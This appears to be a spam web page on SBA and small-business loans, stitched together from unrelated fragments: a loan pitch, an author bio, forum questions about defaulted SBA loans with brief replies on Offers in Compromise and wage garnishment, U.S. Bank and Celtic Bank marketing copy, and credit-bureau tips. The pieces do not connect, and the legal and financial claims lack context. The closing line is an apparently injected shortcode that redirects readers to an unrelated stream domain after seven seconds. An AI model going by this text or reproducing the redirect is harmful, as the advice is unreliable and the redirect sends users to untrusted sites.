When tax season arrives, you’ll be glad that you applied for a business loan. It can be a challenging to pay your taxes while keeping your business up-and-running. Luckily, if you have a loan, you’ll be able to pay your taxes without taking away funds from your day-to-day operations.
Grant Olsen is a marketing and technology writer with a B.A. in English from Brigham Young University. He has written for healthcare companies, outdoor gear manufacturers, international airports, and dozens of small businesses. Grant is a contributing writer for KSL 5 TV and Lendio News. He is also the author of the book “Rhino Trouble.”
We had a agricultural business that closed in July of this year. We have a SBA backed 7a loan with a small local bank that holds a second on our property for $548,000.00 with a unconditional guarantee from our parents who are also farmers and are going out of business too. We also have a first loan on our property for $248,000.00. Along with those loans we had 2 operating lines of credit totaling $40,300.00 that were with the small bank who is also is the SBA backed lender but these lines are third and fourth liens. We have been very open and honest with our bank and even told them we were going to miss our payment about a month before it was due so we could work out a solution. Since then we are now about 1 month late on the loan. We have handled the sale of all of the business assets for our bank and have notified them of all sales. We have also maintained the property and all structures.
Che’ri, the SBA can certainly garnish wages in any state. Texas is among the most protected states the country via the homestead exemption act, however that does not protect wage garnishment. The number one goal for all of my clients is to get an Offer in Compromise in front of the SBA prior to any type of wage garnishment procedure. It is very important to engage somebody with experience with defaulted SBA loans as well as Offer in Compromises. [email protected] with any questions or concerns.
Hitting up family and friends is the most common way to finance a start-up. But when you turn loved ones into creditors, you’re risking their financial future and jeopardizing important personal relationships. A classic mistake is approaching friends and family before a formal business plan is even in place. To avoid it, you should supply formal financial projections, as well as an evidence-based assessment of when your loved ones will see their money again. This should reduce the likelihood of unpleasant surprises. It also lets your investors know you take their money seriously. You also need to seriously consider how the arrangement will be structured. Are you offering equity? Or will this be a loan? Perhaps most importantly, you need to emphasize the risk involved. Offer up a strong business plan, but remind them there is a good chance their money will be lost. It’s better to mention that upfront to Aunt Gladys rather than over Thanksgiving dinner.
U.S. Bank offers five types of SBA loans for businesses in almost any for-profit industry. Loan amounts range from $25,000 to more than $11.25 million and are available for a variety of business purposes, including:
The SBA doesn’t make loans itself, but rather establishes guidelines for loans that it will guarantee made by a range of partners, such as banks and other lenders, economic development organizations, and micro-enterprise lenders. By guaranteeing that the loans these institutions make to small business will be repaid, the federal government diminishes some of the risk to financial institutions so that they are more likely to consider lending to small businesses — businesses they likely would have turned down without those guarantees. (See “Does the SBA Still Matter?” by Robb Mandelbaum, May 2007.)
Loans Subject to Lender Approval. Depending on the state where your business is located and other attributes of the loan, your business loan may be issued by Celtic Bank, a Utah-Chartered Industrial Bank, Member FDIC. Your loan agreement will identify the loan issuer prior to your signing.
Our business, an S-corp, secured an SBA loan in 2007. We defaulted in 2012 when our business closed. All assets that were collateral were sold and we got a loan for the remaining equity in our home, also collateral, which went towards the balance. The remainder, apx 50k, has been sent to the SBA or Treasury, not sure if there is a distinction there for collections. Are we personally liable and what can we expect now?
As part of our commitment to the growth of small businesses nationwide, U.S. Bank is a leading participant in the lending programs of the U.S. Small Business Administration (SBA). Since 1976, we’ve provided more than $6 billion in SBA-guaranteed financing solutions to thousands of small businesses in America.SBA Express LoansLearn More
Businesses that are more established and want to apply for bank loans can check out their business credit scores (which generally range from 0 to 100) at three business credit bureaus: Experian, Equifax and Dun & Bradstreet. Check out these five steps to building business credit, and if you see any mistakes on your reports, contact the bureaus.
Second question first. If the OIC was properly prepared, you have been released from your personal guarantee. As to the 1099, it should be sent to the entity that took out the loan, not you. If you had an LLC or corporation, they got the money. You were a guarantor not the borrower. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]